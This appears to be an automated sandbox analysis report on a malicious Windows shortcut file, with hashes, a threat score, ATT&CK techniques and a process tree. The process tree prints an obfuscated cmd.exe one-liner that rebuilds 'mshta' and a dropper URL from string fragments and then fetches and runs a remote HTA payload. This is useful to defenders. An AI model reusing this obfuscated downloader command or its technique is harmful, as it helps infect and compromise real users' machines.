00255d105758a1361dc8f8f63e6bb7d5e26eb1f65ea5fce097e78518fc31bbd2

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-DIVBAK.lnk
Size 2KB
Sample260803-qnslsaab68
SHA256 00255d105758a1361dc8f8f63e6bb7d5e26eb1f65ea5fce097e78518fc31bbd2
MD5 99128a9a3d4e5c3fb56809fd8b8521ec
SHA1 c196325333234a9e423356bca8875be4a8b949b5
SHA512 d15ff48c2549b260a93f56381f83a77eb7d84ca50a12d86d3250944a9047c7ff2e527fa5d0ac892baa027255291ddae1a5a29ee510dc94bcdedbcc93c6294bea
TLSH
T1E74168903BEE01E4F2BB4E36EDFE2754497BB9A51DB0C68D0840820D1422B44D9B3B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3412	cmd.exe
3440	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 3440	3412	cmd.exe	91
PID 3440 wrote to memory of 4072	3440	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DIVBAK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3412
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set KTlID=oldjhheofvxlfjold&&set kyzq=5wkmshl4r&&set DesD=x8tnt&&set eG=agba0a&&set HNIyf=datwxmjikxhzdsqwgacdat&&set ryy=tmptnvfasttynxtrhmtmp&&set nO=dbgyrhstdbg&&set Ub=cachedikxsipkzffcache&&set nWIu=3sr4q&&set UH=ttluv&&set PS=3dgartl&&set vq=oldlypkyyaold&&set JJ=cfgjvxmyrrtlycdatttmcfg&&set gyc=ht@tps@:/@/b@ro-@pdf@fille@r.@l@at/h/estag@io1@.@php?r=36076@1F@15@794&&start /b !kyzq:~3,3!!DesD:~2,1!!eG:~3,1! !gyc:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads